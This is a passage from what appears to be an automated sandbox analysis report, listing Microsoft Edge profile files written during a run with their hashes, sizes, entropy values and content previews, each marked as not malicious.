SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3a663.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3b2f5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a35bf0cb-4a67-477f-8dff-aaab50046467.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\b93b03be-88a1-4099-9a8c-078f69a0a05d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\c7db76e5-346a-4e84-a758-21efdfc4a790.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8307038620100359
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAz7Nm2z8ZI7J5fc:T+OUzDbg3eAzA2ztc
MD5:	B18967139991D9CA13DF7E493540A358
SHA1:	97411C14A8503C11248BE7404C9A79BA5146D40C
SHA-256:	CCC36F21951B4CB357C57DA0CCA1FFF3B4C7027230C10FD8BCB72C0AFF66141F
SHA-512:	473AE1B215B181785EA65F87E34155D5976C7AD1FA487B025E1C8711BFD127E99066990105CDA8D6F4804459118361217455AB1644803D22E6ECB164EEEFD630
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9569
Entropy (8bit):	5.105402326314091
Encrypted:	false
SSDEEP:	192:st7kdmsqaSPcsZihUkY3z88bV+F2hQA66WpaFIMYA+PGYJ:st79s/OcfhsbGIQx6WpaTYAQ
MD5:	21BF644A4F0BF26F2EC202F7C24DA21F
SHA1:	AC934A5899E1373D2AA32257178162EA44DFD5C8
SHA-256:	EFD65D62DE58C8377CC9E2DFEA14CBC75050515354781104D549D1E0330D4C49
SHA-512:	B18439994395C44924EE72F0F5234023FA1C8FA4D3EBBBFF2D7F1E020AB1515EE3BAB75332862A6A3EBE8D4171E5D1DEDDF3E7DDC32DF22F5CB5279D486C5BC7
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378475365308676","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3eaaf.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9569
Entropy (8bit):	5.105402326314091
Encrypted:	false
SSDEEP:	192:st7kdmsqaSPcsZihUkY3z88bV+F2hQA66WpaFIMYA+PGYJ:st79s/OcfhsbGIQx6WpaTYAQ
MD5:	21BF644A4F0BF26F2EC202F7C24DA21F
SHA1:	AC934A5899E1373D2AA32257178162EA44DFD5C8
SHA-256:	EFD65D62DE58C8377CC9E2DFEA14CBC75050515354781104D549D1E0330D4C49
SHA-512:	B18439994395C44924EE72F0F5234023FA1C8FA4D3EBBBFF2D7F1E020AB1515EE3BAB75332862A6A3EBE8D4171E5D1DEDDF3E7DDC32DF22F5CB5279D486C5BC7
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378475365308676","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF425f3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9569
Entropy (8bit):	5.105402326314091
Encrypted:	false
SSDEEP:	192:st7kdmsqaSPcsZihUkY3z88bV+F2hQA66WpaFIMYA+PGYJ:st79s/OcfhsbGIQx6WpaTYAQ
MD5:	21BF644A4F0BF26F2EC202F7C24DA21F
SHA1:	AC934A5899E1373D2AA32257178162EA44DFD5C8
SHA-256:	EFD65D62DE58C8377CC9E2DFEA14CBC75050515354781104D549D1E0330D4C49
SHA-512:	B18439994395C44924EE72F0F5234023FA1C8FA4D3EBBBFF2D7F1E020AB1515EE3BAB75332862A6A3EBE8D4171E5D1DEDDF3E7DDC32DF22F5CB5279D486C5BC7
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378475365308676","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF49b42.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9569
Entropy (8bit):	5.105402326314091
Encrypted:	false
SSDEEP:	192:st7kdmsqaSPcsZihUkY3z88bV+F2hQA66WpaFIMYA+PGYJ:st79s/OcfhsbGIQx6WpaTYAQ
MD5:	21BF644A4F0BF26F2EC202F7C24DA21F
SHA1:	AC934A5899E1373D2AA32257178162EA44DFD5C8
SHA-256:	EFD65D62DE58C8377CC9E2DFEA14CBC75050515354781104D549D1E0330D4C49
SHA-512:	B18439994395C44924EE72F0F5234023FA1C8FA4D3EBBBFF2D7F1E020AB1515EE3BAB75332862A6A3EBE8D4171E5D1DEDDF3E7DDC32DF22F5CB5279D486C5BC7
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378475365308676","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567680308709128
Encrypted:	false
SSDEEP:	768:1h2L9zWP/Xf0r8F1+UoAYDCx9Tuqh0VfUC9xbog/OVH+/mCrwhpOtuJ:1h2L9zWP/Xf0ru1jaySmnGt6
MD5:	A5897372E6A91A4DE0088AED9941D7DD
SHA1:	D0CC7986570925132D9F08B3999AD931D6EC0B2E
SHA-256:	B3B53D527FB5CF08F86ADBEEE4B25FC922AF5799D50E29D1E5234A9F1702FDF5
SHA-512:	CF5BF4E47DF5651910C3F45D82E878CB53B1BA60658DBC02FD08EF4356EDCE429E2477C1312D23A3CDACB0CB3DBFCCDF7EBB75805E1582E2A4130AEC4D6282B7
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13378475364637223","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13378475364637223","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3da05.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567680308709128
Encrypted:	false
SSDEEP:	768:1h2L9zWP/Xf0r8F1+UoAYDCx9Tuqh0VfUC9xbog/OVH+/mCrwhpOtuJ:1h2L9zWP/Xf0ru1jaySmnGt6
MD5:	A5897372E6A91A4DE0088AED9941D7DD
SHA1:	D0CC7986570925132D9F08B3999AD931D6EC0B2E
SHA-256:	B3B53D527FB5CF08F86ADBEEE4B25FC922AF5799D50E29D1E5234A9F1702FDF5
SHA-512:	CF5BF4E47DF5651910C3F45D82E878CB53B1BA60658DBC02FD08EF4356EDCE429E2477C1312D23A3CDACB0CB3DBFCCDF7EBB75805E1582E2A4130AEC4D6282B7
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13378475364637223","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13378475364637223","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF40200.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567680308709128
Encrypted:	false
SSDEEP:	768:1h2L9zWP/Xf0r8F1+UoAYDCx9Tuqh0VfUC9xbog/OVH+/mCrwhpOtuJ:1h2L9zWP/Xf0ru1jaySmnGt6
MD5:	A5897372E6A91A4DE0088AED9941D7DD
SHA1:	D0CC7986570925132D9F08B3999AD931D6EC0B2E
SHA-256:	B3B53D527FB5CF08F86ADBEEE4B25FC922AF5799D50E29D1E5234A9F1702FDF5
SHA-512:	CF5BF4E47DF5651910C3F45D82E878CB53B1BA60658DBC02FD08EF4356EDCE429E2477C1312D23A3CDACB0CB3DBFCCDF7EBB75805E1582E2A4130AEC4D6282B7
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13378475364637223","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13378475364637223","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	323
Entropy (8bit):	4.2037880981889435
Encrypted:	false
SSDEEP:	6:S85aEFljljljljlPflaDa0vqBjLFUA5EEE:S+a8ljljljljlPfN0v21t
MD5:	449560549D3918E073A596C722363187
SHA1:	B80FAC80118803F8C39C046584A9BD954E3143F8
SHA-256:	85E876D42E2A9C043D734AA4593301C60E985E996887FF656024368FC75C5A75
SHA-512:	E59AD40EF1A651C8BF1AE691DE8705ED2B424F3BEA7B3739907CD994078777083BEF1CDB87E3D9E70170658F308904C490606CB1DB3CB0C0F735C218DE6C8310
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...................g................next-map-id.1.Hnamespace-d664a838_140c_47df_b34b_99be17fc4725-https://www.docusign.com/.0V.e................V.e................V.e................V.e................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.085615015283096
Encrypted:	false
SSDEEP:	6:7xvFIq2P923oH+TcwtrQMxIFUt8OxY+ZZmw+OxfUkwO923oH+TcwtrQMFLJ:7sv4YebCFUt8Oi+Z/+O25LYebtJ
MD5:	8936FE4D5895260DE0235AD8642A59C5
SHA1:	69361139ACE59B0AE4AAF1BAF4DBDF4F1636DEB9
SHA-256:	CB29AF383E54FE9A367BFAA4B88EB689541A591524FD007EB0CDD3C4AAF89109
SHA-512:	6AE8C538A2D471A9E1B066FB7ADB390389FE5A303081DAA513295D558E575692DAA438C86D323388A30E0C12989281C22600C2B56430AE4BE5F4A3507579D69D
Malicious:	false
Preview:	2024/12/12-06:09:25.417 1ee0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/12/12-06:09:25.420 1ee0 Recovering log #3.2024/12/12-06:09:25.434 1ee0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.085615015283096
Encrypted:	false
SSDEEP:	6:7xvFIq2P923oH+TcwtrQMxIFUt8OxY+ZZmw+OxfUkwO923oH+TcwtrQMFLJ:7sv4YebCFUt8Oi+Z/+O25LYebtJ
MD5:	8936FE4D5895260DE0235AD8642A59C5
SHA1:	69361139ACE59B0AE4AAF1BAF4DBDF4F1636DEB9
SHA-256:	CB29AF383E54FE9A367BFAA4B88EB689541A591524FD007EB0CDD3C4AAF89109
SHA-512:	6AE8C538A2D471A9E1B066FB7ADB390389FE5A303081DAA513295D558E575692DAA438C86D323388A30E0C12989281C22600C2B56430AE4BE5F4A3507579D69D
Malicious:	false
Preview:	2024/12/12-06:09:25.417 1ee0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/12/12-06:09:25.420 1ee0 Recovering log #3.2024/12/12-06:09:25.434 1ee0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13378475367133971

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	3.85804829493599
Encrypted:	false
SSDEEP:	24:3ZZYCU1yeBo5jQOhRqA7fTc5A07aOhcAclAUucTjQOh:3EJ1dodjhZL0rUuSjh
MD5:	4CAE712351929DF87B559750ECC8D276
SHA1:	1F497B526DDE9B1C4C9B74113E93DD399D34B9D2
SHA-256:	14D02C488292EF8388D85B0D9E009474D853A8F17C8D603BB8FE2BF411A0262A
SHA-512:	D62584F9AD35A3E5AF1447BA0B777A775EB5889F9E7AB983570F2ECB51B026B9F75FA368501E83B35AECB6FCD393CF4805C2F460C40BB11DF0CA8EC19813AB39
Malicious:	false
Preview:	SNSS........S.$............S.$......".S.$............S.$........S.$........S.$........S.$....!...S.$................................S.$.S.$1..,....S.$$...d664a838_140c_47df_b34b_99be17fc4725....S.$........S.$...............S.$....S.$........................S.$....................5..0....S.$&...{98952893-68FF-4A5D-A164-705C709ED3DB}......S.$........S.$...........................S.$............S.$....U...https://www.docusign.com/sites/default/files/Signature_Appliance_Client_Guide_8.0.pdf...............!...............................................................@...............H...............@........r..)...r..)......................................................................................U...h.t.t.p.s.:././.w.w.w...d.o.c.u.s.i.g.n...c.o.m./.s.i.t.e.s./.d.e.f.a.u.l.t./.f.i.l.e.s./.S.i.g.n.a.t.u.r.e._.A.p.p.l.i.a.n.c.e._.C.l.i.e.n.t._.G.u.i.d.e._.8...0...p.d.f.......................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.092365773506993
Encrypted:	false
SSDEEP:	6:7xMvE9+q2P923oH+Tcwt7Uh2ghZIFUt8OxMvEJZmw+OxMvE9VkwO923oH+Tcwt7w:7Oi+v4YebIhHh2FUt8OOm/+OOiV5LYeQ
MD5:	49E9953B1C46B44AE929638F5294A1E4
SHA1:	03C43EF7279532BE6E3CCF67DB3D2589B4602F78
SHA-256:	AACE38620F4AC5D99C4B37DD2451D82886D25FBCA1A67DBD61967002A269BB09
SHA-512:	A914D9217A3442A5BB36969CD9A40F5928611815D129A325EF9345D17D03D44B794D47A3DAA9101BBCE7C1FC3FB14A9B6FB630D397F04E2FE864FDEA6A5EE21C
Malicious:	false
Preview:	2024/12/12-06:09:24.649 1e2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/12/12-06:09:24.649 1e2c Recovering log #3.2024/12/12-06:09:24.649 1e2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.092365773506993
Encrypted:	false
SSDEEP:	6:7xMvE9+q2P923oH+Tcwt7Uh2ghZIFUt8OxMvEJZmw+OxMvE9VkwO923oH+Tcwt7w:7Oi+v4YebIhHh2FUt8OOm/+OOiV5LYeQ
MD5:	49E9953B1C46B44AE929638F5294A1E4
SHA1:	03C43EF7279532BE6E3CCF67DB3D2589B4602F78
SHA-256:	AACE38620F4AC5D99C4B37DD2451D82886D25FBCA1A67DBD61967002A269BB09
SHA-512:	A914D9217A3442A5BB36969CD9A40F5928611815D129A325EF9345D17D03D44B794D47A3DAA9101BBCE7C1FC3FB14A9B6FB630D397F04E2FE864FDEA6A5EE21C
Malicious:	false
Preview:	2024/12/12-06:09:24.649 1e2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/12/12-06:09:24.649 1e2c Recovering log #3.2024/12/12-06:09:24.649 1e2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.235953857645655
Encrypted:	false
